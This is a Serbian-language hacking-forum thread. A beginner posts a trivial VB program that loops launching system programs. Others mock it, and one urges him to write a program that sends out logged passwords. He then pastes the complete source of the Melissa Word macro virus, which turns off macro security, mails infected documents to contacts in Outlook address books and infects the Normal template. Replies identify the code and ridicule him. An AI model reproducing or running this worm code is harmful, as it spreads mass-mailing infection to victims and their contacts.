....El moze ovako?

Private Sub Form_Load()
On error resum next
Fold:
shell "c:\windows\notepad.exe"
shell "c:\windows\telnet.exe"
shell "c:\windows\taskman.exe"
shell "c:\windows\ipconfig.exe"
mkdir "c:\KOMP"
mkdir "c:\HAKNUT"
Go To fold:
End Sub

Sta si ovime postig'o ???

Me:

Sta si ovime postig'o ???

Kliknite za proširenje...

Pa 'el treba neshto da dodam? Ako treba napishi shta....

Prvo,ako nesto mislis da uradis sa tim,prvo malo nauci taj glupi Vb,drugo jel to mislis da si hacker a?Buahahahha zaista smesno,danas svaka druga budala misli da je hacker a cak ni lamerima nisu dorasli.Umesto sto se glupiras uzmi nauci nesto korisno ovo je najveca glupost koju sam video u poslednjih 5 meseci.Da uzmemo u obzir i to i da taj vb prog(ako se moze nazvati tako) najveca glupost jer pravi direktorijume KOMP i HACKNUT,i zbog takvih PIIIIP mi dodje da pocnem da krcam ovaj monitor od muke.Cak i pokrece notepad itd...smesno.Ako si vec neki lamercic uzmi napisi prog da ti salje logovane sifrice i slicno(mada ne,ti si komandu shell video na netu buahhaha)Kad cete se vi klinci vec jednom opametiti,to mi nije jasno nimalo sta vi vise zamisljate,idi sedi igraj igrice kad si samo za to sposoban.Aj progovori jos jednom da te ja ucutkam.

slazem se s covekom.
moras da naucis osnove, a ne odma ovakve gluposti

Iskrenosti nikad dosta, mislim da ce se posle takvih komentara dobro razmisliti pre nego sto pita nesto slicno.

Shta mislish o ovome....


Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters. Game's over.
I'm outta here."
End Sub

'Mozda ce ovo da ti pomogne
Private Sub Form_Load()

dim S as string
dim M as string
dim O as string
dim R as string
dim U as string

for i=1 to 100 step 2
print("Krusevac je lep grad")
end_for

'A evo ga ovde magicni krug
while d4cha="SMOR"
msgbox("Da li je D4ch4 smor?",vbKeyYes)
me.print d4ch4
wend

End_Sub

hahaha... svaka cast...
Za ovih nekoliko dana si tako dobro savladao tehniku programiranja virusa, da od onog prvog koda napravis ovo sada
Ovo sto si napisao (tj. sasvim iskusno uradio copy-paste) je sors kod "Melissa Word Macro Virus"-a i taj kod mozes da nadjes na mali milion mesta na net-u, ali OK i za to je potrebno par minuta truda. :wink:

iznapadaste coveka... :I

U chemu je poenta? "LJUUUUUDI, vidite, nashao sam par primera malicioznog koda. Do jaja!!!!"

Aj' cuti bolje. Ako cesh pisati viruse i sl. batali taj VB, sedi i nauchi assembler i WinAPI u detalje. Pa kad to nauchish i napravish neshto svoje, tek onda SIGURNO necesh da shirish po ovakvim forumima!

pateticno
ajde stavi komentare uz onaj kod, cisto da vidimo da razumes sta si paste-ovao

Dosta ove lakrdije.

t.c.